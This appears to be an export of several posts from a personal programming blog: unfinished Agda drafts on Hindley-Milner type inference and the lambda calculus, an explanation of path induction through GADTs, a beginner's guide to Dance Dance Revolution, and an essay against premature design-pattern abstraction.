- https://hott.github.io/book/hott-ebook.pdf.html

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---
title: DTT Project
date: 2023-10-11T04:05:23.082Z
draft: true
toc: true
tags:
- type-theory
---
References:
- https://www.cl.cam.ac.uk/~nk480/bidir.pdf
<details>
<summary>
Agda Imports
<small>for the purpose of type-checking</small>
</summary>
```agda
{-# OPTIONS --allow-unsolved-metas --allow-incomplete-matches #-}
open import Data.Nat
open import Data.Product
open import Data.String hiding (_<_)
open import Relation.Nullary using (Dec)
open import Relation.Nullary.Decidable using (True; toWitness)
```
</details>
## Damas-Hindley-Milner type inference
Unification-based algorithm for lambda calculus.
## First try
Implement terms, monotypes, and polytypes:
```agda
data Term : Set
data Type : Set
data Monotype : Set
```
Regular lambda calculus terms:
$e ::= x \mid () \mid \lambda x. e \mid e e \mid (e : A)$
```agda
data Term where
Unit : Term
Var : String → Term
Lambda : String → Term → Term
App : Term → Term → Term
Annot : Term → Type → Term
```
Polytypes are types that may include universal quantifiers ($\forall$)
$A, B, C ::= 1 \mid \alpha \mid \forall \alpha. A \mid A \rightarrow B$
```agda
data Type where
Unit : Type
Var : String → Type
Existential : String → Type
Forall : String → Type → Type
Arrow : Type → Type → Type
```
Monotypes (usually denoted $\tau$) are types that aren't universally quantified.
> [!admonition: NOTE]
> In the declarative version of this algorithm, monotypes don't have existential quantifiers either,
> but the algorithmic type system includes it.
> TODO: Explain why
```agda
data Monotype where
Unit : Monotype
Var : String → Monotype
Existential : String → Monotype
Arrow : Monotype → Monotype → Monotype
```
### Contexts
```agda
data Context : Set where
Nil : Context
Var : Context → String → Context
Annot : Context → String → Type → Context
UnsolvedExistential : Context → String → Context
SolvedExistential : Context → String → Monotype → Context
Marker : Context → String → Context
contextLength : Context →
contextLength Nil = zero
contextLength (Var Γ _) = suc (contextLength Γ)
contextLength (Annot Γ _ _) = suc (contextLength Γ)
contextLength (UnsolvedExistential Γ _) = suc (contextLength Γ)
contextLength (SolvedExistential Γ _ _) = suc (contextLength Γ)
contextLength (Marker Γ _) = suc (contextLength Γ)
-- https://plfa.github.io/DeBruijn/#abbreviating-de-bruijn-indices
postulate
lookupVar : (Γ : Context) → (n : ) → (p : n < contextLength Γ) Set
-- lookupVar (Var Γ x) n p = {! !}
-- lookupVar (Annot Γ x x₁) n p = {! !}
-- lookupVar (UnsolvedExistential Γ x) n p = {! !}
-- lookupVar (SolvedExistential Γ x x₁) n p = {! !}
-- lookupVar (Marker Γ x) n p = {! !}
data CompleteContext : Set where
Nil : CompleteContext
Var : CompleteContext → String → CompleteContext
Annot : CompleteContext → String → Type → CompleteContext
SolvedExistential : CompleteContext → String → Monotype → CompleteContext
Marker : CompleteContext → String → CompleteContext
```
### Well-Formedness
```agda
type-well-formed : (A : Type) → Set
type-well-formed Unit = {! !}
type-well-formed (Var x) = {! !}
type-well-formed (Existential x) = {! !}
type-well-formed (Forall x A) = {! !}
type-well-formed (Arrow A A₁) = {! !}
```
### Type checking
```agda
postulate
check : (Γ : Context) → (e : Term) → (A : Type) → Context
```
```agda
-- check Γ Unit A = Γ
```
```agda
-- check Γ (Var x) A = {! !}
-- check Γ (Lambda x e) A = {! !}
-- check Γ (App e e₁) A = {! !}
-- check Γ (Annot e x) A = {! !}
```
### Type synthesizing
```js
const x = () => {};
```
```agda
postulate
synthesize : (Γ : Context) → (e : Term) → (Type × Context)
-- synthesize Γ Unit = Unit , Γ
-- synthesize Γ (Var x) = {! !}
-- synthesize Γ (Lambda x e) = {! !}
-- synthesize Γ (App e e₁) = {! !}
-- synthesize Γ (Annot e x) = {! !}
```

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---
title: "Path induction: a GADT perspective"
slug: 2023-10-23-path-induction-gadt-perspective
date: 2023-10-23
tags: ["type-theory", "pl-theory"]
---
<details>
<summary>Imports</summary>
```
-- These types aren't actually imported to improve CI performance :(
-- It doesn't matter what they are, just that they exist
data Int : Set where
postulate
String : Set
{-# BUILTIN STRING String #-}
data _≡_ {l} {A : Set l} : (a b : A) → Set l where
instance refl : {x : A} → x ≡ x
```
</details>
> [!admonition: NOTE]
> This content is a writeup from a weekend discussion session for the fall 2023 special-topics course CSCI 8980 at the University of Minnesota taught by [Favonia], who provided the examples.
> This post is primarily a summary of the concepts discussed.
An important concept in [Martin-Löf Type Theory][mltt] is the internal equality[^1] type $\mathrm{Id}$.
Like all inductive types, it comes with the typical rules used to introduce types:
[^1]:
"Internal" here is used to mean something expressed within the type theory itself, rather than in the surrounding meta-theory, which is considered "external."
For more info, see [this][equality] page.
- Formation rule
- Term introduction rule
- Term elimination rule
- Computation rule
There's something quite peculiar about the elimination rule for $\mathrm{Id}$ in particular (commonly known as "path induction", or just $J$).
Let's take a look at its definition, in Agda syntax:
```agda
J : {A : Set}
→ (C : (x y : A) → x ≡ y → Set)
→ (c : (x : A) → C x x refl)
→ (x y : A) → (p : x ≡ y) → C x y p
J C c x x refl = c x
```
<details>
<summary>What does this mean?</summary>
An _eliminator_ rule defines how a type is used.
It's the primitive that often powers programming language features like pattern matching.
We can break this function down into each of the parameters it takes:
- $C$ is short for "motive".
Think of $J$ as producing an $\mathrm{Id} \rightarrow C$ function, but we have to include the other components or else it's not complete.
- $c$ tells you how to handle the _only_ constructor to $\mathrm{Id}$, which is $\mathrm{refl}$.
Think of this as a kind of pattern match on the $\mathrm{refl}$ case, since $\mathrm{Id}$ is just a regular inductive type.
- $x, y, p$ these are just a part of the final $\mathrm{Id} \rightarrow C$ function.
How $J$ is computed depends on your type theory's primitives; in HoTT you would define it in terms of something like transport.
</details>
There's something odd about this: the $c$ case only defines what happens in the case of $C(x, x, \mathrm{refl})$, but the final $J$ definition extends to arbitrary $C(x, y, p)$.
How can this be the case?
A good way to think about this is using [generalized algebraic data types][gadt], or GADTs.
A GADT is similar to a normal inductive data type, but it can be indexed by a type.
This is similar to polymorphism on data types, but much more powerful.
Consider the following non-generalized data type:
```agda
data List (A : Set) : Set where
Nil : List A
Cons : A → List A → List A
```
I could write functions with this, but either [polymorphically][polymorphism] (accepts `A : Set` as a parameter, with no knowledge of what the type is) or monomorphically (as a specific `List Int` or `List Bool` or something).
What I couldn't do would be something like this:
[polymorphism]: https://wiki.haskell.org/Polymorphism
```text
sum : (A : Set) → List A → A
sum Int Nil = 0
sum Int (Cons hd tl) = hd + (sum tl)
sum A Nil = {! !}
sum A (Cons hd tl) = {! !}
```
Once I've chosen to go polymorphic, there's no option to know anything about the type, and I can only operate generally on it[^2].
[^2]:
As another example, if you have a polymorphic function with the type signature $\forall A . A \rightarrow A$, there's no implementation other than the $\mathrm{id}$ function, because there's no other knowledge about the type.
For more info, see [Theorems for Free][free]
With GADTs, this changes.
The key here is that different constructors of the data type can return different types of the same type family.
```
data Message : Set → Set₁ where
S : String → Message String
I : Int → Message Int
F : {T : Set} → (f : String → T) → Message T
```
Note that in the definition, I've moved the parameter from the left side to an [_index_][index] on the right of the colon.
This means I'm no longer committing to a fully polymorphic `A`, which is now allowed to be assigned anything freely.
In particular, it's able to take different values for different constructors.
[index]: https://agda.readthedocs.io/en/v2.6.4/language/data-types.html#indexed-datatypes
This allows me to write functions that are polymorphic over _all_ types, while still having the ability to refer to specific types.
```agda
extract : {A : Set} → Message A → A
extract (S s) = s
extract (I i) = i
extract (F f) = f "hello"
```
Note that the type signature of `extract` remains fully polymorphic, while each of the cases has full type information.
This is sound because we know exactly what indexes `Message` could take, and the fact that there are no other ways to construct a `Message` means we won't ever run into a case where we would be stuck on a case we don't know how to handle.
In a sense, each of the pattern match "arms" is giving more information about the polymorphic return type.
In the `S` case, it can _only_ return `Message String`, and in the `I` case, it can _only_ return `Message Int`.
We can even have a polymorphic constructor case, as seen in the `F` constructor.
The same thing applies to the $\mathrm{Id}$ type, since $\mathrm{Id}$ is pretty much just a generalized and dependent data type.
The singular constructor `refl` is only defined on the index `Id A x x`, but the type has a more general `Id A x y`.
So the eliminator only needs to handle the case of an element of $A$ equal to itself, because that's the "only" constructor for $\mathrm{Id}$ in the first place[^3].
[^3]: Not true in [homotopy type theory][hott], where the titular _univalence_ axiom creates terms in the identity type using equivalences.
Hopefully now the path induction type doesn't seem as "magical" to you anymore!
[mltt]: https://ncatlab.org/nlab/show/Martin-L%C3%B6f+dependent+type+theory
[equality]: https://ncatlab.org/nlab/show/equality#notions_of_equality_in_type_theory
[gadt]: https://en.wikipedia.org/wiki/Generalized_algebraic_data_type
[free]: https://www2.cs.sfu.ca/CourseCentral/831/burton/Notes/July14/free.pdf
[favonia]: https://favonia.org/
[hott]: https://homotopytypetheory.org/book/

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---
title: The Lambda Calculus
date: 2024-04-04T21:45:28.264
draft: true
toc: true
languages: ["typst"]
tags: ["typst"]
---
The lambda calculus is an abstract machine for modeling computation. In this
tutorial I will build up the lambda calculus from scratch.
## Expressions
Let's start with expressions. You've probably encountered these in math class.
They look like things like:
- $3$
- $5 \times 5$
- $2\sqrt{12} - 5i$
Some of these probably look like they can be simplified. That's fine! We're not
worried about that yet. The computation aspect will come in a bit.
### Expression Trees
The important thing here is that all of these have some tree-like structure. For
example, look at $5 \times 5$:
```typst
#import "@preview/fletcher:0.4.3" as fletcher: *
#set page(width: auto, height: auto, margin: (x: 0.25pt, y: 0.25pt))
#set text(18pt)
#diagram(cell-size: 0.5cm, $
& times edge("dl", ->) edge("dr", ->) \
5 & & 5 \
$)
```
And that last one, $2\sqrt{12} - 5i$:
```typst
#import "@preview/fletcher:0.4.3" as fletcher: *
#import math
#set page(width: auto, height: auto, margin: (x: 0.5em, y: 0.5em))
#set text(18pt)
#diagram(cell-size: 0.5cm, {
node(pos: (0, 0), label: $-$)
node(pos: (-1, 1), label: $times$)
node(pos: (1, 1), label: $times$)
edge((0, 0), (-1, 1))
edge((0, 0), (1, 1))
node(pos: (-1.5, 2), label: $2$)
node(pos: (-0.5, 2), label: $math.sqrt(...)$)
node(pos: (-0.5, 3), label: $12$)
edge((-1, 1), (-1.5, 2))
edge((-1, 1), (-0.5, 2))
edge((-0.5, 2), (-0.5, 3))
node(pos: (0.5, 2), label: $5$)
node(pos: (1.5, 2), label: $i$)
edge((1, 1), (0.5, 2))
edge((1, 1), (1.5, 2))
})
```
These follow the order of operations (also known as PEMDAS). They tell you that
_if_ you were going to evaluate this, you would want to apply it in this
fashion.
If you look at each point in the tree, you might notice that there's several different types of branches:
- Numbers, like $2$, $5$, or $12$ don't have any children
- The square root function, $\sqrt{...}$ has 1 child
- The subtraction ($-$) and multiplication ($\times$) functions have 2 children
The important thing to us is to define a **language** for expressions. This
way, we know exactly what kinds of expressions we can build. Let's take the
few operations in the list above and turn it into a **language** for writing
expressions:
$$
e ::= n \mid \sqrt{e} \mid e - e \mid e \times e
$$
We call these **constructors** of the expression. The notation is a bit dense,
but this essentially means $e$, which is shorthand for _expression_, is defined
to be either of ($|$):
- $n$, which is just a convention meaning "any number"
- $\sqrt{e}$, which means "square root of another expression"
- $e - e$ and $e \times e$, which correspond to subtraction and multiplication respectively
If you look closely, the number of $e$s in each option corresponds exactly to
the number of children it had in the expression tree.
Let's write down an expression language for the lambda calculus. In its simplest form, it looks like this:
$$
e ::= x \mid \lambda x.e \mid e\; e
$$
Here, $x$ is a convention that stands for "some variable". Without knowing what any of this means, we can already start putting together some expressions:
- $\lambda x.x$
- $\lambda s.(\lambda z.(s\; z))$
As an exercise, try drawing some of the expression trees that correspond to
these expressions. Once you're familiar enough with how expressions are built
syntactically, we can talk about evaluation.
## Evaluation
The expression language we just defined is typically considered the _statics_ of
the language. It defines how we can write down the language. What we're going to
talk about now is the _dynamics_, or how it's evaluated.
<details>
<summary>Semantics vs. Implementation</summary>
At this point it's probably a good idea to make a note about _semantics_ vs. _implementation_.
Semantics describe the outcome. If my arithmetic language defines
multiplication's _semantics_ it would require that multiplication of two numbers
to achieve another number that has some certain properties, like "repeatedly
subtracting the first number the same number of times as the second number
produces 0."
Implementation, on the other hand, needs to conform to the semantics. If I asked
you to compute $15 \times 16$ by hand, you'd probably bust out some pencil and
paper and do some long form multiplication, where you'd compute a couple of
intermediate results and add them, getting $240$.
A computer, on the other hand, notices $16 = 10000_2$, and just shifts $15 =
0111_2$ over by 4 bits, to get $01110000_2 = 240$. The ways that this same
result was computed were different, but they achieved the same final result, and
that result has the property required by the semantics of multiplication.
Just like the example above, the lambda calculus has several different
implementations of its semantics (for example, the CESK machine or the SECD
machine). They have a more complex stack structure than a straightforward
machine implementation in, for example Python, to take. However, we can prove
that the semantics are the same.
</details>

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---
title: My Venture into Dance Dance Revolution
date: 2024-05-02T15:25:14.268
tags: ["rhythm-games", "life"]
---
import { Image } from 'astro:assets';
I'm a huge fan of rhythm games.
Up til now, I've mainly been playing PC / mobile rhythm games such as [osu!], [Muse Dash], [Project Sekai], [Arcaea], etc.
But since the pandemic has let up, I've been able to go to arcades more frequently and found myself climbing the levels in games like [Chunithm], [Sound Voltex], [WACCA], and dance games like [Dance Dance Revolution (DDR)][DDR].
[osu!]: https://osu.ppy.sh/
[Muse Dash]: https://store.steampowered.com/app/774171/Muse_Dash/
[Project Sekai]: https://www.colorfulstage.com/
[Arcaea]: https://arcaea.lowiro.com
[Chunithm]: https://en.wikipedia.org/wiki/Chunithm
[Sound Voltex]: https://en.wikipedia.org/wiki/Sound_Voltex
[WACCA]: https://en.wikipedia.org/wiki/Wacca_(video_game)
[DDR]: https://en.wikipedia.org/wiki/Dance_Dance_Revolution
Since January of this year (2024), I have been going to the [Dave and Buster's in Maple Grove][2] pretty regularly to play DDR.
It's a great rhythm game that's been around for about as long as I've been alive, and it's also a nice workout.
I regularly hit more than 1,000 calories burned per session according to the in-game tracker.
[2]: https://www.daveandbusters.com/us/en/about/locations/maple-grove
Today I want to share some basics of how the game works as well as going more in-depth about some tips and tricks I've learned in the last 4 months or so of playing this game more seriously.
If you're considering getting started in DDR, please give this doc a read!
The game
---
The game itself certainly doesn't need any introduction, but I'm going to give one anyway.
It's a four-button vertical scrolling rhythm game produced by Konami's rhythm game division [BEMANI].
Players step on the buttons to the music, matching arrows on the screen.
[Bemani]: https://en.wikipedia.org/wiki/Bemani
![DDR cabinet](./cab.jpg)
The game is conceptually very simple, but like all rhythm games, has an incredibly high skill ceiling.
Just go on YouTube and search for DDR tournaments and you can see how insane some of the top players are.
Higher level charts are faster, introduce more technical moves, and have more gimmicky mechanics.
Logistics
---
I primarily play at my local Dave and Busters, but I discovered that not all Dave and Busters locations have an online DDR machine.
For the Minneapolis area, the Discord has some pretty up-to-date info on where the locations of working cabs are, check the [zenius-i-vanisher] website.
[MNDiscord]: https://discord.com/invite/bAQ9S9mRZp
[zenius-i-vanisher]: https://zenius-i-vanisher.com/v5.2/arcades.php
Although you could play on any cab, I've been looking for online cabs in particular.
The online cabs let you play with an _eAmusement Pass_, which comes with a lot of features I'm going to list below.
But unless you've got access to a Round 1 near you, these suckers are hard to find.
Your best bet is probably to order a card from online in that case.
![eAmusement card](./eamuse.png)
Having one of these cards means:
- Saves scores across machines (**BIG**)
- Saves configuration settings
- You can unlock songs
- You don't have to skip the tutorial each time
- More granular scroll speed changes
You can also sign up for a paid course known as the "Basic" course.
This includes more features, but costs 330 yen and has a [more involved registration process][1].
This gives you:
[1]: https://3icecream.com/tutorial/add-basic-course-guide
- Ability to see score history (**BIG**)
- Ability to add rivals and see their scores live in game
- Darker in-game background
- Fast/slow indicators in game
The ability to see score history is big, because it means you can track your scores, which in my opinion is a big part of the self-improvement aspect of continuing to play this game.
In particular, being able to see improvement over time as well as tracking overall number of clears / full combo scores can help guide your song choices for future sessions.
Also, Konami frequently performs maintenance on their servers, which means online capabilities like score saving will not be available.
Make sure to have these dates down.
Gameplay
---
The most basic elements of DDR are:
- Arrows
- Freeze
- Jumps
Arrows are basically just simple steps. If it says to step on a button, then step on it.
import arrows from './arrows.png';
<p><Image src={arrows} alt="arrows" height="240" /></p>
Freeze is the long green button. If it appears, hold it until the green track is over.
Unlike other rhythm games, holds do _not_ have release judgement.
This means it doesn't matter if you release it perfectly on time.
import freeze from './freeze.png';
<p><Image src={freeze} alt="freeze" height="240" /></p>
Jumps are when two arrows occur at the same time.
It could also be an arrow and a freeze note.
import jumps from './jumps.png';
<p><Image src={jumps} alt="jumps" height="240" /></p>
None of these concepts are too hard by themselves, but once you begin grouping them together, they can become incredibly difficult.
There's also a few charts with _shock arrows_, where if you're standing on any of the arrows, then it counts as a miss for the next couple notes.
These are rather unintuitive to play with initially, and I haven't really gotten the hang of it yet, so I assume it just gets easier with practice.
### Scroll Speed
The scroll speed of the arrows is calculated by the $\textrm{BPM} \times \textrm{Multiplier}$.
During song select, the BPM will be shown on the top near the title of the song.
The multiplier is something you set in the options menu, by pressing [9] at the song select screen.
When you're starting out, use this to determine your reading speed.
For example, if you're comfortable reading 2.0x on a 150 BPM song, that means your reading speed is around $2.0 \times 150 = 300$.
With this knowledge, when you see a 200 BPM song, you can divide $300 / 200 = 1.5$ to figure out that you need a 1.5x multiplier to read it comfortably.
Some tools like [3icecream] have a BPM calculator for charts if you enter in your reading speed, but often using your phone's calculator or just memorizing some common benchmark BPMs will do just fine.
> [!admonition: NOTE]
> Since every song you play might be a different BPM, always check to make sure the scroll speed is what you want!
If a song's BPM is variable, it will show a range instead.
**Be careful when you see this!**
This means the song may change BPM in the middle.
There's really no telling _how_ it will change before you play it, unless you look up the chart beforehand on something like [3icecream], which will tell you where all the BPM changes occur.
Generally when I see this, I treat the song as if it's whatever the higher end of that range will be.
For example, if it says 85~170, I'm going to assume it's 170 BPM.
This way, there's never a part that's too fast for me to read.
Unfortunately, for some extreme cases (usually on charts from older games), this will make the slow parts almost impossible to read.
That's just how the game works, so brush up on those slow scroll speed reading skills and hope you make it through this mess.
import mess from './mess.png';
<p><Image src={mess} alt="mess" height="240" /></p>
There's also times when the chart will completely stop for a bit and continue.
Usually this is done to emphasize something in the song.
Other times it's just to mess with you.
Unfortunately, just like the BPM changes, there's not really a good way of knowing where the stops happen ahead of time, so either watch a video of the auto playthrough ahead of time, or just pray.
An example of a song with a lot of stops is [CHAOS][6].
[6]: https://ddr.stepcharts.com/SuperNOVA/CHAOS/single-challenge
Techs
---
Every rhythm game has its own technical moves, or "techs" as I call them.
These are patterns that are generally not as intuitive for new players, but are a skill developed over time.
Once you see how these work, you start seeing them in charts and begin incorporating the techniques into your normal gameplay.
In DDR, especially in earlier stages, you typically want to avoid "double stepping", which just means stepping on two arrows with the same foot in succession.
This is because it's not really fast, and you strain the foot and make it harder to step again quickly.
So most of these patterns make it easier to alternate feet in order to move faster.
Once you incorporate these techs into your gameplay, it'll be easier to make the judgement of whether or not to cross feet for the alternating, or to just double step.
Of course, there are scenarios where double stepping is required.
I've found myself in situations where I mispredicted the pattern, and a double step would've continued easier.
If you're having trouble with a section, you could always study the chart ahead of time and remember where the double step / crosses occur but generally this should be avoided.
**Crossovers.**
This pattern takes the form of left-down-right or left-up-right, but you'll see it in all different shapes and forms.
Whenever you see this pattern, you want to take the foot that's not in the middle and move it across to the other side.
For example, in the excerpt from [SUNKiSS♥DROP\~jun side\~ ESP][3] below, this entire pattern can be done by alternating feet.
[3]: https://ddr.stepcharts.com/SuperNOVA2/SUNKiSS-DROP~jun-Side~/single-expert
import crossover from './crossover.png';
<p><Image src={crossover} alt="crossover" height="240" /></p>
**Scoobys.**
This pattern involves two sets of three notes going in the same direction but using different middle arrows.
If the middle is both up or both down, then this pattern doesn't work.
When you see this, you enter it just like a crossover, but use your other foot to hit the 4th note.
For example, in the excerpt from [Cirno's Perfect Math Class ESP][4] below, this entire pattern can be done by alternating feet.
[4]: https://ddr.stepcharts.com/A/Cirno's-Perfect-Math-Class/single-expert
import scooby from './scooby.png';
<p><Image src={scooby} alt="scooby" height="240" /></p>
**Footswitches.**
This pattern usually shows up as repeated arrows (also known as "jacks").
However, instead of hitting them with the same foot, you can usually _switch_ off to the other foot on the same arrow.
For example, check out this excerpt from [Air Heroes ESP][5] below.
Like all the previous examples, this can be done completely by alternating.
[5]: https://ddr.stepcharts.com/2013/Air-Heroes/single-expert
import footswitch from './footswitch.png';
<p><Image src={footswitch} alt="footswitch" height="240" /></p>
There's all sorts of more advanced crossovers that build on top of these and probably even more that I haven't encountered yet.
If there's anything you think that's worth mentioning here, let me know in the comments at the bottom of this page!
Goals
---
One of the things I like about DDR is all the different ways there are to enjoy it.
At a high level, here are some I want to share here:
- Playing for high level clears
- Playing for high accuracy clears
- Playing for completion
- Playing for unlocks
- Playing courses
- Playing doubles
When I first started playing this game, all I knew was pushing skill level, and that meant trying to go for as high of a level as I could clear.
As I pushed outside of my comfort zone for clears, I would get more and more tired, but the thrill from clearing high level charts was well worth the exhaustion.
Since DDR is still at its core a rhythm game, an important aspect of stepping on arrows is how _accurate_ the timing of your steps are.
Steps are graded on a scale from
<span style="color:#C70039">MISS</span>,
<span style="color:#003399">GOOD</span>,
<span style="color:#336600">GREAT</span>,
<span style="color:#FFCC33; font-weight: bold; text-shadow:0px 0px 1px black">PERFECT</span>, and
<span style="color:#FFFFCC; font-weight: bold; text-shadow:0px 0px 1px black">MARVELOUS</span>,
with a smaller hit window for the higher judgements.
Lamps are awarded for clearing charts with no lower judgements:
- No MISS = Full Combo (blue lamp)
- No GOOD or lower = Great Full Combo (green lamp)
- No GREAT or lower = Perfect Full Combo (gold lamp)
- No PERFECT or lower = Marvelous Full Combo (white lamp)
The coveted Marvelous Full Combo, or MFC for short, means you cleared the chart with a perfect score of 1,000,000.
The best part about trying to achieve these lamps is that there is no difficulty minimum for this: you can achieve lamps on _any_ chart of _any_ difficulty.
Even though I've been playing around 16s lately, but for accuracy, I usually play around 9s to 11s in order to achieve high accuracy.
The judgement windows don't change, but if the BPM is slower and there's less gimmicks, then you can usually get yourself into a rhythm and hit the notes on time.
For example, I just recently achieved my first Perfect Full Combo (PFC) on a level 9:
![Perfect full combo](./pfc.jpeg)
Taking this a step further, not only are individual songs awarded lamps for completion, but entire folders are awarded lamps for the completion of all songs within it.
For example, to achieve the yellow clear lamp for the level 14 folder, I had to clear _all_ unlocked charts that were level 14:
![14 clear lamp](./14clear.jpeg)
This means that even if you get stuck at pushing high levels or high accuracy, you can still enjoy the game by clearing difficulties you already feel comfortable with while discovering new songs.
Playing for completion really pushed me to explore the songs I didn't already know in this game.
Through playing with the premium mode, you can also unlock songs during the extra stage (assuming you collect the 9 dots required to unlock the stage).
If you play a song enough, you can unlock it permanently.
There's also a course system where you can opt to play preset selections of songs in a row without stopping.
Personally, I haven't put too much time into these yet, since I'm still so busy with the others.
There's also **doubles play**, which is a lot of fun.
This involves playing on _both_ dance pads at the same time, using all 8 arrows.
Each song is specifically charted to use both pads in doubles play.
In this mode, there's a lot of new moves that usually involve a variety of different kinds of crossovers.
This is a good way to practice using crossovers more liberally, and just to get in some more cardio.
I usually get in at least a game of doubles or two whenever I get the chance to have the machine for myself for a bit.
Tools
---
[3icecream] is an indispensable tool when it comes to DDR.
It has the following features:
[3icecream]: https://3icecream.com
- Scrapes your scores from Konami's website and displays them in listings
- Provides links to Youtube videos for charts
- Calculates relative chart difficulties based on user statistics for charts of the same level
- Exports all scores as CSV
In particular, the [difficulty list][7] is really helpful at finding "easy" charts.
If I'm going for level 17 clears, I'd usually scroll down to the bottom of the 17 list and see what songs people have generally gotten better scores on.
Even if you don't use the score tracking feature, I'd still recommend using this listing.
[7]: https://3icecream.com/difficulty_list/15
[Stepcharts] is another website that I've used to sort through and view charts when I'm not in front of a cab.
It's also where I produced all the chart images for this blog post.
[Stepcharts]: https://ddr.stepcharts.com/
[Life4] is an unofficial ranking system for personal growth.
I personally use this religiously as a way to motivate my improvement.
So far, up to gold, it's been covering a wide variety of skills (like high level clears, repeated stamina sets, low level accuracy) at a wide variety of skill levels.
If you're not sure which direction to improve, consider putting yourself on this ladder and going for the next rank!
[Life4]: https://life4ddr.com/
Wrap Up
---
That's it!
I learned a lot about this game not just from playing but also reading and talking with some folks online and offline.
There's an incredible wealth of information across the internet about this game, having been around for more than two decades now.
While I'm certainly not even close to the end of my journey with DDR, I hope that you got to learn something from my experience.
If there's something I got wrong, or some resources or information you want me to add, please let me know in the comments.
**See you next time on the dance floor!**

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---
title: Coping with refactoring
date: 2024-06-21T05:56:50.594Z
tags:
- engineering
heroImage: ./ruinsHero.png
heroAlt: ruins
---
It is the inevitable nature of code to be refactored. How do we make it a less
painful process?
A not-horrible approach to creating a piece of software by first developing the
happy path, and then adding extra code to handle other cases. When we do this,
we may find that patterns emerge and some parts may be abstracted out to make
the code cleaner to read. This makes sense.
It seems that many engineers decided that this process of abstracting is too
painful and started using other people's abstractions pre-emptively in order to
avoid having to make a lot of code changes. They may introduce patterns like the
ones described in the GoF Design Patterns book.
Some abstractions may be simple to understand. But more often, they almost
always make the code longer and more complex. And sometimes, as a part of this
crystal ball future-proofing of the code, you may make a mistake :scream:. At
some point, you will have to change a lot more code than you would've had to if
you didn't start trying to make a complex design to begin with. It's the exact
same concept as the adage about [premature optimization][2].
[2]: https://en.wikipedia.org/wiki/Program_optimization
As an example, as a part of one of my previous jobs, I was reviewing code that
created _10+ classes_ that included strategy patterns and interfaces. The code
was meant to be generic over something that could be 1 of 4 possibilities. But
the 4 possibilities would basically never change. The entire setup could've been
replaced with a single file with a 4-part if/else statement.
I'm not saying that design patterns aren't useful. If we had more possibilities,
or needed to make it so that programmers outside our team had to be able to
introduce their own options, then we would have to rethink the design. But
changing an if statement in a single file is trivial. Changing 10+ files and all
the places that might've accidentally referenced them is not.
Some people think they can dodge the need to refactor by just piling more
abstractions on top, in a philosophy known as ["Open to extension, closed to
modification."][1] I think this is just a different, more expensive form of
refactoring. Increasing the number of objects just increases the amount of code
you need to change in the future should requirements or assumptions change.
[1]: https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle
So the next time you're thinking of introducing design patterns and creating a
boat load of files to hide your potential complexity into, consider whether the
cost of adding that abstraction is worth the pain it will take to change it
later.
> [!admonition: NOTE]
> As a bonus, if your language has a good enough type system, you probably don't
> need the strategy pattern at all. Just create a function signature and pass
functions as values!

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